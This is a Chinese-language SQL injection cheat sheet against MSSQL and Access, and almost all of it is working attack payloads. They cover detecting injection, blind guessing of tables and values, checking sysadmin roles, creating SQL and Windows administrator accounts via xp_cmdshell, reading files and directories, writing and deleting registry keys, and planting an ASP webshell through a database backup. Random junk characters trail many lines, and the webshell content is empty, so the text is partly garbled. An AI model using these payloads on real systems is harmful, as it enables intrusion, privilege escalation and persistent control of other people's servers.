1.判断是否有注入;and 1=1 ;and 1=2 G.#`DaP
2.初步判断是否是mssql ;and user>0 {[Bo"a>%
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3.注入参数是字符'and [查询条件] and ''=' *CsRO
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' /3( a'o[
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5.判断数据库系统 os<YfMM<:/
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;and (select count(*) from sysobjects)>0 mssql 99xs5!4s
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;and (select count(*) from msysobjects)>0 access bf#@YkE
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 }cl~Vo-mp
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 . \/jy]Y
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 12W`7
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9.(1)猜字段的ascii值(access) .Oh4b5
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 1=R6||8ws
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(2)猜字段的ascii值(mssql) M|HW$8V3_2
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 (Nzup3j
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10.测试权限结构(mssql) ~Bw)rf,
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6bv~E.
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- .?<M$38fv
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- H>zX8qP+
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- >h!>Ll
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- X`,=tM
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- blUnAu
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;and 1=(select IS_MEMBER('db_owner'));-- T/m4jf2
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11.添加mssql和系统的帐户 pJnT \~o
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;exec master.dbo.sp_addlogin username;-- "L?h@8sa
;exec master.dbo.sp_password null,username,password;-- o7_*#5rD
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- O_gr{L}
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;exec master.dbo.xp_cmdshell 'net user username password xZMQ+OW2i
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- }jfOs(Q]
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ]U4)2s
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- <l#|I'hP
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;create table dirs(paths varchar(100), id int) 4lVvs(W?
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;insert dirs exec master.dbo.xp_dirtree 'c:\' -@I+IKz
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;and (select top 1 paths from dirs)>0 h?8I`Z)h
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) %z9lCTmy
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(2)遍历目录 tz6N,4J?
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3QD+&9{D
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 qcmf*Yl:v
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6d# 7
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 y;GwMi$KI
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 )R+26wZ|n*
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13.mssql中的存储过程 4qYT
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xp_regenumvalues 注册表根键, 子键 'joc8o sS
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 *XCgl*% *
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xp_regread 根键,子键,键值名 (m~gG|n4
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 R(1N]>
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xp_regwrite 根键,子键, 值名, 值类型, 值 *LZB.84
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 *7JsmN?
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xp_regdeletevalue 根键,子键,值名 ; *ZiH%q,
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 9w:F_gr
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 A8zh27[w%
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14.mssql的backup创建webshell m"|AD/2;(
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insert into cmd(str) values (''); !l7D1i~
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backup database model to disk='c:\l.asp'; HX`>"
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15.mssql内置函数 aGx[?}=
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;and (select @@version)>0 获得Windows的版本号 .B? J@,
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa qrLE1b 1$
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;and (select user_name())>0 爆当前系统的连接用户 R)Y*<Na
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;and (select db_name())>0 得到当前连接的数据库 uJ:SN;
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16.简洁的webshell `*ml/% \
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use model U8]BhJr$Q
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create table cmd(str image); Od?b(bE.]
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insert into cmd(str) values (''); *B0
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backup database model to disk='g:\wwwtest\l.asp';